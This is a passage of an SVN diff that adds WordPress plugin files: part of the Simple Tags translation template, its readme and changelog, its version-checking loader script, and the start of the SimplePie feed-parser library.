+#: /2.3/inc/simple-tags.widgets.php:200
+#: /2.5/inc/simple-tags.widgets.php:188
+#: /2.7/inc/simple-tags.widgets.php:188
+msgid "Flat (default)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:201
+#: /2.5/inc/simple-tags.widgets.php:189
+#: /2.7/inc/simple-tags.widgets.php:189
+msgid "List (UL/LI)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:207
+#: /2.5/inc/simple-tags.widgets.php:195
+#: /2.7/inc/simple-tags.widgets.php:195
+msgid "Use auto color cloud:"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:211
+#: /2.5/inc/simple-tags.widgets.php:199
+#: /2.7/inc/simple-tags.widgets.php:199
+msgid "Font color mini: (default: #CCCCCC)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:216
+#: /2.5/inc/simple-tags.widgets.php:204
+#: /2.7/inc/simple-tags.widgets.php:204
+msgid "Font color max: (default: #000000)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:221
+#: /2.5/inc/simple-tags.widgets.php:209
+#: /2.7/inc/simple-tags.widgets.php:209
+msgid "Extended format: (advanced usage)"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:252
+msgid "Tag Cloud Widgets"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:253
+#: /2.5/inc/simple-tags.widgets.php:241
+#: /2.7/inc/simple-tags.widgets.php:241
+msgid "How many tag cloud widgets would you like?"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:257
+#: /2.5/inc/simple-tags.widgets.php:245
+#: /2.7/inc/simple-tags.widgets.php:245
+msgid "Save"
+msgstr ""
+
+
+#: /2.3/inc/simple-tags.widgets.php:274
+#: /2.3/inc/simple-tags.widgets.php:275
+#, php-format
+msgid "Extended Tag Cloud %d"
+msgstr ""
+
+
+#: /2.5/simple-tags.client.php:111
+#: /2.7/simple-tags.client.php:113
+msgid "No tags for this post."
+msgstr ""
+
+
+#: /2.5/simple-tags.client.php:123
+#: /2.7/simple-tags.client.php:125
+msgid "No related tags found."
+msgstr ""
+
+
+#: /2.5/simple-tags.client.php:1116
+#: /2.7/simple-tags.client.php:1128
+msgid "<a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr ""
+
+
+#: /2.5/simple-tags.client.php:1505
+#: /2.7/simple-tags.client.php:1517
+msgid "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:233
+#: /2.5/inc/simple-tags.admin.php:537
+#: /2.5/inc/simple-tags.admin.php:1083
+#: /2.7/inc/simple-tags.admin.php:293
+#: /2.7/inc/simple-tags.admin.php:593
+#: /2.7/inc/simple-tags.admin.php:1099
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:240
+#: /2.7/inc/simple-tags.admin.php:300
+msgid "Options"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:244
+#: /2.7/inc/simple-tags.admin.php:304
+msgid "Activation"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:251
+#: /2.7/inc/simple-tags.admin.php:311
+msgid "Tags database"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:258
+#: /2.7/inc/simple-tags.admin.php:318
+msgid "Target"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:265
+#: /2.7/inc/simple-tags.admin.php:325
+msgid "Keywords list"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:268
+#: /2.7/inc/simple-tags.admin.php:328
+msgid "Separated with a comma"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:274
+#: /2.5/inc/simple-tags.admin.php:540
+#: /2.5/inc/simple-tags.admin.php:563
+#: /2.7/inc/simple-tags.admin.php:333
+#: /2.7/inc/simple-tags.admin.php:596
+#: /2.7/inc/simple-tags.admin.php:610
+msgid "Update options &raquo;"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:278
+#: /2.7/inc/simple-tags.admin.php:337
+msgid "Auto tags all content &raquo;"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:316
+#: /2.7/inc/simple-tags.admin.php:375
+#, php-format
+msgid "All done! %s tags added."
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:332
+#: /2.7/inc/simple-tags.admin.php:391
+msgid "Active tags for page:"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:333
+#: /2.7/inc/simple-tags.admin.php:392
+msgid "This feature allow page to be tagged. This option add pages in tags search. Also this feature add tag management in write page."
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:355
+#: /2.7/inc/simple-tags.admin.php:418
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is automatically disabled."
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:880
+#: /2.7/inc/simple-tags.admin.php:886
+msgid "Published"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:880
+#: /2.7/inc/simple-tags.admin.php:886
+msgid "Published posts"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:881
+#: /2.7/inc/simple-tags.admin.php:887
+msgid "Scheduled"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:881
+#: /2.7/inc/simple-tags.admin.php:887
+msgid "Scheduled posts"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:882
+#: /2.7/inc/simple-tags.admin.php:888
+msgid "Pending Review"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:882
+#: /2.7/inc/simple-tags.admin.php:888
+msgid "Pending posts"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:883
+#: /2.7/inc/simple-tags.admin.php:889
+msgid "Draft"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:883
+#: /2.7/inc/simple-tags.admin.php:889
+msgid "Drafts|manage posts header"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:884
+#: /2.7/inc/simple-tags.admin.php:890
+msgid "Private"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:884
+#: /2.7/inc/simple-tags.admin.php:890
+msgid "Private posts"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:928
+#: /2.7/inc/simple-tags.admin.php:934
+msgid "Mass edit tags"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:935
+#: /2.7/inc/simple-tags.admin.php:941
+msgid "All Posts"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:956
+#: /2.7/inc/simple-tags.admin.php:962
+msgid "All Pages"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:965
+#: /2.7/inc/simple-tags.admin.php:971
+msgid "Search Posts"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:997
+#: /2.7/inc/simple-tags.admin.php:1003
+msgid "Show all dates"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:1017
+#: /2.7/inc/simple-tags.admin.php:1023
+msgid "View all categories"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:1030
+#: /2.7/inc/simple-tags.admin.php:1036
+msgid "Filter"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:1060
+#: /2.7/inc/simple-tags.admin.php:1076
+msgid "Update all &raquo;"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.admin.php:1276
+#: /2.5/inc/simple-tags.admin.php:1291
+msgid "Tags <small>(separate multiple tags with commas: cats, pet food, dogs)</small>"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.widgets.php:240
+#: /2.7/inc/simple-tags.widgets.php:240
+msgid "Simple Tags : Tag Cloud Widgets"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.widgets.php:253
+#: /2.7/inc/simple-tags.widgets.php:253
+msgid "Your most used tags in cloud format with dynamic color and many options"
+msgstr ""
+
+
+#: /2.5/inc/simple-tags.widgets.php:263
+#: /2.5/inc/simple-tags.widgets.php:264
+#: /2.7/inc/simple-tags.widgets.php:263
+#: /2.7/inc/simple-tags.widgets.php:264
+#, php-format
+msgid "ST: Tag Cloud %d"
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:402
+msgid "This feature displays a visual help allowing to enter tags more easily. As well add tags is easier than the autocompletion default of WordPress"
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:411
+msgid "Maximum number of links per article:"
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:412
+msgid "This setting determines the maximum number of links created by article. Default: 10."
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:1053
+msgid "Post title"
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:1054
+msgid "Tags"
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:1305
+#: /2.7/inc/simple-tags.admin.php:1310
+msgid "Tags (Simple Tags)"
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:1317
+msgid "Separate tags with commas"
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:1664
+#: /2.7/inc/simple-tags.admin.php:1669
+msgid "Click tags"
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:1673
+#: /2.7/inc/simple-tags.admin.php:1702
+msgid "This feature works only with activated JavaScript. Activate it in your Web browser so you can!"
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:1681
+msgid "Ajax loading"
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:1691
+#: /2.7/inc/simple-tags.admin.php:1696
+msgid "Suggested tags"
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:1889
+#: /2.7/inc/simple-tags.admin.php:1946
+#: /2.7/inc/simple-tags.admin.php:2013
+#: /2.7/inc/simple-tags.admin.php:2054
+msgid "No text was sent."
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:1915
+msgid "No results from Yahoo! service."
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:1965
+msgid "No results from Tag The Net service."
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:2004
+msgid "No tags in your WordPress database."
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:2027
+#: /2.7/inc/simple-tags.admin.php:2068
+msgid "No results from your WordPress database."
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:2114
+#, php-format
+msgid "&copy; Copyright 2008 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr ""
+
+
+#: /2.7/inc/simple-tags.admin.php:2210
+msgid "Auto link"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:57
+msgid "Import Embedded Tags"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:58
+msgid "Steps may take a few minutes depending on the size of your database. Please be patient."
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:59
+msgid "Visit the <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:68
+msgid "Howdy! This imports tags from embedded tags into this blog using the new WordPress native tagging structure."
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:69
+msgid "To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Embedded Tags habit. Just keep clicking along and we will let you know when you are in the clear!"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:70
+msgid "Don&#8217;t be stupid - backup your database before proceeding!"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:72
+msgid "Step 1 &raquo;"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:95
+msgid "Missing parameters in URL. (Start or End)"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:107
+msgid "Configure and add tags to posts&#8230;"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:114
+msgid "Start marker"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:117
+msgid "End marker"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:120
+msgid "Delete embedded tags once imported ?"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:122
+msgid "Import also embedded tags from page ?"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:125
+msgid "Start import &raquo;"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:180
+msgid "Done!"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:182
+msgid "Step 2 &raquo;"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:199
+msgid "Import Complete!"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:200
+msgid "OK, so we lied about this being a 4-step program! You&#8217;re done!"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:201
+msgid "Now wasn&#8217;t that easy?"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:202
+msgid "You can manage tags now !"
+msgstr ""
+
+
+#: /extras/simple-tags.importer.php:242
+msgid "Import Embedded Tags into the new WordPress native tagging structure."
+msgstr ""
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/readme.txt	(revision 44)
@@ -0,0 +1,270 @@
+=== Plugin Name ===
+Contributors: momo360modena
+Donate link: http://www.herewithme.fr/wordpress-plugins/simple-tags#donation
+Tags: tag, posts, tags, admin, administration, tagging, navigation, import
+Requires at least: 2.3
+Tested up to: 2.8
+Stable tag: 1.6.6
+
+Simple Tags is the successor of Simple Tagging Plugin and is THE perfect tool to manage perfectly your WP 2.3, 2.5, 2.6, 2.7 and 2.8 tags (Related Posts, Related Tags, Auto link tags, Tag suggestion, autocompletion, click tags, Mass Edit Tags, etc.)
+
+== Description ==
+
+Simple Tags is the successor of Simple Tagging Plugin
+**This is THE perfect tool to manage perfeclty your WP 2.3, 2.5, 2.6, 2.7 and 2.8 tags**
+
+It was written with this philosophy : best performances, more secured and brings a lot of new functions
+
+* Administration
+	* **NEW** Related tags !
+	* **NEW** AJAX Admin features !
+	* **NEW** Tags suggestion from Yahoo Term Extractions API, Tag The Net and Local Tags with AJAX request
+		* Compatible with TinyMCE, FCKeditor, WYMeditor and QuickTags
+	* **NEW** Improve performance !
+	* Auto tags !
+	* Auto link tags in post content
+		* This feature may degrade performance! Be careful !
+	* Importer for embedded tags
+	* type-ahead input tags / Autocompletion
+	* Click tags
+	* tags management (rename, delete, merge, search and add tags, edit tags ID)
+	* **Edit mass tags (more than 50 posts once)**
+	* Possibility to tag pages (not only posts) and include them inside the tags results
+	* Embedded tags ([tags]tag1, tag2[/tags]) for compatibility with old plugins
+	* **Easy configuration ! (in WP admin)**
+* Blog
+	* Meta keywords generate from tags in your header's blog
+	* Technorati, Flickr and Delicious tags
+	* Dynamic Tag Clouds with colors with Widgets (random order, etc)
+	* Related content since common tags
+	* Possibility to add related posts inside RSS
+	* Extended the_tags function (outside the loop, technorati, etc)
+
+And more...
+
+== Installation ==
+
+The Simple Tags can be installed in 3 easy steps:
+
+	1. Unzip "Simple tags" archive and put all files into your "plugins" folder (/wp-content/plugins/) or to create a sub directory into the plugins folder (recommanded), like /wp-content/plugins/simple-tags/
+
+	2. Activate the plugin
+
+	3. Inside the Wordpress admin, go to Options > Simple Tags, adjust the parameters according to your needs, and save them.
+
+	4. You can start advanced tag edit under Manage menu.
+
+== Frequently Asked Questions ==
+
+= How import tags from my old tags plugin ? =
+
+Yes, with official default importer. Manage -> Import
+Compatible with UTW, Simple Tagging, Etc.
+
+= Simple Tags is compatible with WPmu ? =
+
+Yes, but it not allow tag cloud site. Soon !
+
+= Simple Tags can import Embedded Tags from old plugins =
+
+Yes, copy importer "simple-tags/extras/simple-tags.importer.php" into "wp-admin/import/simple-tags.importer.php"
+Then: Manage - Import - Embedded Tags
+
+== Screenshots ==
+
+1. A example tag cloud (with dynamic color and size)
+2. Do you have a not yet tagged blog ? Edit mass tags options is perfect for you : tag 20, 30 or 50 articles with autocompletion in one step !
+3. Autotagging your content !
+4. Add tags easily with click tags !
+3. To help you to add easily tags, Simple Tags has an autocompletion script. When you begin to tape a letter or more, a list a tags appears : you have only to choose ! You can choose the down direction to see all the tags.
+6. You also can suggest tags from lot's of service (local, tag the net, yahoo!)
+
+== Arbitrary section ==
+* Version 1.6.6
+	* Add Belorussian translation
+* Version 1.6.5
+	* Fix redeclare class "Services_JSON_Error" bug
+* Version 1.6.4
+	* Fix a stupid bug with JavaScript add tags.
+* Version 1.6.3
+	* Fix a small bug with JSON class.
+* Version 1.6.2
+	* Click tags and suggested tags can work with default WordPress Tags.
+	* The Simple Tags auto completion replace default WordPress Tags input.
+	* Restore administration options.
+	* Better management of Simple Tags with WP_Scripts and WP_Styles
+	* Add an option for auto link tags.
+	* Fix a potential error with compatibility old markers.
+	* Update french and chineese translation.
+* Version 1.6.1
+	* Fix a JavaScript error for Suggested Tags.
+* Version 1.6.0
+	* Add compatibility with WordPress 2.7, use new API for HTTP and Admin. No new features !
+* Version 1.5.7
+	* Move autolink after ShortCodes
+	* Add Italian and German translation
+	* Fix a potential bug during the plugin activation.
+* Version 1.5.6
+	* Improve performance of MetaKeywords and Autolink
+	* Conform HTML W3C
+* Version 1.5.5
+	* Restore full manage page
+	* Fix duplicate tags for click tags and autocompletion
+	* Lot's of optimization...
+	* Update translations
+	* Add spanish translation
+* Version 1.5.3
+	* Fix counter for tags. (you must re-save your posts)
+	* Update translations (ja, ru)
+* Version 1.5.2.1
+	* Fix internationalization with Gengo
+	* Update zh_CN translation
+* Version 1.5.2
+	* Fix widgets
+	* Edit priority 
+	* Fix internationalization
+* Version 1.5.1
+	* Wait plugin_init for start ST :)
+* Version 1.5
+	* Add compatibility with WordPress 2.5
+* Version 1.3.9
+	* Fix nofollow rel feature
+	* Remove warning with keywords feature
+* Version 1.3.8
+	* Fix internationalization when reset plugin options (and installation)
+	* Fix auto link feature (word replaced keep original case)
+* Version 1.3.7
+	* Improved performance of Simple Tags (specially Related Posts)
+* Version 1.3.6
+	* Fix auto tags with all DB and this feature work also for auto tags save feature
+	* Clean lot's url
+	* Update japan language
+* Version 1.3.5
+	* Add an option for auto link case
+	* Fix rel HTML for auto link
+	* Restict tag cloud for published tag (exclude programmed)
+* Version 1.3.4
+	* Fix autolink (new algo)
+* Version 1.3.3
+	* Fix link to new page
+	* Update languages
+* Version 1.3.2
+	* Update japan translation
+* Version 1.3.1
+	* Plugin compatible with mu-plugins without modifications (NOT TAGS SITE WIDE) (for truth !)
+	* Include categories into Tag Cloud and Tag list
+	* Improve performance with a better WP Object Cache management
+	* Add a global option for rel="nofollow" attribute
+	* Add an option to limit keywords in HTML header
+	* Desactivate keywords generation if All In One SEO Pack is actived.
+	* st_the_tags work outside loop now...
+	* Add an option to uninstall all ST options
+	* Add 2 options for auto tags features
+	* Fix javascript autotag features
+	* Fix lot's bugs in admin ;)
+* Version 1.3
+	* Plugin compatible with mu-plugins without modifications (NOT TAGS SITE WIDE)
+	* Fix auto link tags now working without meta-keywords
+	* New parameter for auto link tags (min usage)
+	* Fix auto link PREG_REPLACE error.
+	* New parameter for related posts (min tags shared)
+	* Add marker %post_title_attribute% for related posts, to use into title attribute
+	* Add Related Tags
+	* Add Remove Related Tags
+	* Fix alphabetical order in tag cloud with accent
+	* New interface for Tags options, more options for easily configuration
+	* AJAX  admin
+		* AJAX Pagination for Manage Tags pages
+	* Fix excessive memory consomation
+	* Tags suggestion from Yahoo Term Extractions API, Tag The Net and Local Tags with AJAX request
+		* Compatible with TinyMCE, FCKeditor, WYMeditor and quicktags
+	* Click tags with AJAX request
+	* Preview color in Tag Cloud Admin Options	
+* Version 1.2.4
+	* Fix a bug with inline tags post
+* Version 1.2.3
+	* Fix Widgets Order/Selection
+	* Improve auto link feature
+	* Add a param to desactive font-size during tags cloud generation
+	* Add a param "min_usage" to display a tag in tags cloud
+	* Smallest size and largest size can be the same...
+	* Update translation
+* Version 1.2.2
+	* Add more options for inline related posts / tags
+	* Fix empty title bug
+	* Add maximum param for the function st_the_tags()
+	* Update translation
+* Version 1.2.1
+	* Fix limit for tag cloud
+* Version 1.2
+    * New features
+		* Auto link tags in post content
+		* Auto tags (new and old content)
+		* Importer for embedded tags
+	* Tag Cloud
+		* Fix Tag Cloud Widgets
+		* New way for order tags cloud ( 2 steps )
+		* Allow embedded tag cloud
+		* Add tag cloud for a specific category
+	* Related Posts
+		* New options for automatic insertion
+		* Add a marker for post_excerpt
+		* Fixed display nothing when no related posts
+	* Current tags posts
+		* New options for automatic insertion
+	* Administration
+		* Check WP version
+		* Mass edit tags improved (search terms, filter untagged)
+		* Removed untagged page
+		* Improve special characters management (& ...)
+		* Uniformize alert message
+		* Autocompletion improved !
+	* Others
+		* Improved plugin cache
+* Version 1.1.1
+	* Fix compatibily with MySQL < 4.1 (Marker "related_tags" of Related Posts is desactived.)
+* Version 1.1
+	* Fix XML-RPC and Embedded Tags
+	* Improve compatibility JS with others plugins (calendar)
+	* Minor improve in administration (order keeping on update)
+	* Cleaner for empty terms
+	* Add limit days for Tag Clouds and Related Posts
+	* Add the marker: %relatedtags% for Related Posts => Display tag shared between 2 posts.
+	* True random for tag cloud
+	* Tag cloud can generate class level for CSS size/color
+	* Add Order to Tag Cloud Widgets
+	* Add 2 functions
+		* st_meta_keywords() : Display keywords for manual insert in header
+		* st_the_tags() : Improved the official the_tags() functions.
+	* Add marker for Technorati, Flickr and Delicious
+* Version 1.0.4a (1.0.4a fix a small bug introduced in 1.0.4)
+	* Update 3 translations for 1.0.4
+	* Add Japanese translation
+	* Fix "exclude tags" in related posts
+* Version 1.0.3
+	* Add 3 translations (german and chineses (zh_TW and zh_CN))
+	* Fix a potential bug with posts relateds and WP Object Cache
+	* Fix a bug with autocompletion JavaScript (tag not escape)
+	* Possibility to customize date format in related posts
+	* Optimization in meta keywords
+	* New markers to related posts (see advanced usage), old markers are still available
+* Version 1.0.2
+	* Keywords
+		* Fix a rare bug with problem encoding
+		* Delete duplicate keywords
+	* Related posts
+		* Possibility to randomize post
+		* New class for tag UL: "st-related-posts"
+	* Tag cloud
+		* Possibility to randomize tags
+		* New class for tag UL: "st-tag-cloud"
+	* Administration
+		* Use WP roles instead old levels
+		* Possibility to order "Mass edit Tags" by Date or ID
+		* Counter now works on "Untagged" page"
+		* Fix one bug on Mass Edit Tags, he was impossible to delete all tags for a post.
+		* You can desactivate Widgets without have a fatal error
+* Version 1.0.1
+	* Fixes 2-3 minors bugs
+* Version 1.0
+	* Initial version
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/simple-tags.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/simple-tags.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/simple-tags.php	(revision 44)
@@ -0,0 +1,54 @@
+<?php
+/*
+Plugin Name: Simple Tags
+Plugin URI: http://wordpress.org/extend/plugins/simple-tags
+Description: Simple Tags : Extended Tagging for WordPress 2.3, 2.5, 2.6 and 2.7 ! Autocompletion, Suggested Tags, Tag Cloud Widgets, Related Posts, Mass edit tags !
+Version: 1.6.6
+Author: Amaury BALMER
+Author URI: http://www.herewithme.fr
+
+Copyright 2008 Amaury BALMER (balmer.amaury@gmail.com)
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+Contributors:
+- Kevin Drouvin (kevin.drouvin@gmail.com - http://inside-dev.net)
+- Martin Modler (modler@webformatik.com - http://www.webformatik.com)
+
+Todo:
+	Admin
+	Client
+		- Test avec &$this, $this, et avec une fonction, test la conso memoire de wp_filter avant/apres
+		- Verifier la case du remplacement par les liens
+*/
+
+// Check version.
+global $wp_version;
+if ( strpos($wp_version, '2.7') !== false || strpos($wp_version, '2.8') !== false  ) {
+	require(dirname(__FILE__).'/2.7/simple-tags.client.php');
+} elseif ( strpos($wp_version, '2.5') !== false || strpos($wp_version, '2.6') !== false  ) {
+	require(dirname(__FILE__).'/2.5/simple-tags.client.php');
+} elseif ( strpos($wp_version, '2.3') !== false ) {
+	require(dirname(__FILE__).'/2.3/simple-tags.client.php');
+} elseif ( strpos($wp_version, '2.2') !== false || strpos($wp_version, '2.1') !== false || strpos($wp_version, '2.0') !== false ) {
+	add_action('admin_notices', 'simple_tagging_warning');
+} else {
+	add_action('admin_notices', 'simple_tags_warning');
+}
+
+function simple_tagging_warning() {
+	echo '<div class="updated fade"><p><strong>'.__('Simple Tags can\'t work with this WordPress version !', 'simpletags').'</strong> '.sprintf(__('You must use <a href="%1$s">Simple Tagging Plugin</a> for it to work.', 'simpletags'), 'http://wordpress.org/extend/plugins/simple-tagging-plugin/').'</p></div>';
+}
+
+function simple_tags_warning() {
+	echo '<div class="updated fade"><p><strong>'.__('Simple Tags can\'t work with this WordPress version !', 'simpletags').'</strong></p></div>';
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simplepie.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simplepie.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simplepie.class.php	(revision 44)
@@ -0,0 +1,13319 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2008, Ryan Parman and Geoffrey Sneddon
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.1.1
+ * @copyright 2004-2008 Ryan Parman, Geoffrey Sneddon
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @link http://simplepie.org/ SimplePie
+ * @link http://simplepie.org/support/ Please submit all bug reports and feature requests to the SimplePie forums
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ * @todo phpDoc comments
+ */
+
+/**
+ * SimplePie Name
+ */
+define('SIMPLEPIE_NAME', 'SimplePie');
+
+/**
+ * SimplePie Version
+ */
+define('SIMPLEPIE_VERSION', '1.1.1');
+
+/**
+ * SimplePie Build
+ * @todo Hardcode for release (there's no need to have to call SimplePie_Misc::parse_date() only every load of simplepie.inc)
+ */
+define('SIMPLEPIE_BUILD', 20080315205903);
+//define('SIMPLEPIE_BUILD', gmdate('YmdHis', SimplePie_Misc::parse_date(substr('$Date: 2008-03-15 15:28:23 -0700 (Sat, 15 Mar 2008) $', 7, 25)) ? SimplePie_Misc::parse_date(substr('$Date: 2008-03-15 15:28:23 -0700 (Sat, 15 Mar 2008) $', 7, 25)) : filemtime(__FILE__)));
+
+/**
+ * SimplePie Website URL
+ */
+define('SIMPLEPIE_URL', 'http://simplepie.org');
+
+/**
+ * SimplePie Useragent
+ * @see SimplePie::set_useragent()
+ */
+define('SIMPLEPIE_USERAGENT', SIMPLEPIE_NAME . '/' . SIMPLEPIE_VERSION . ' (Feed Parser; ' . SIMPLEPIE_URL . '; Allow like Gecko) Build/' . SIMPLEPIE_BUILD);
+
+/**
+ * SimplePie Linkback
+ */
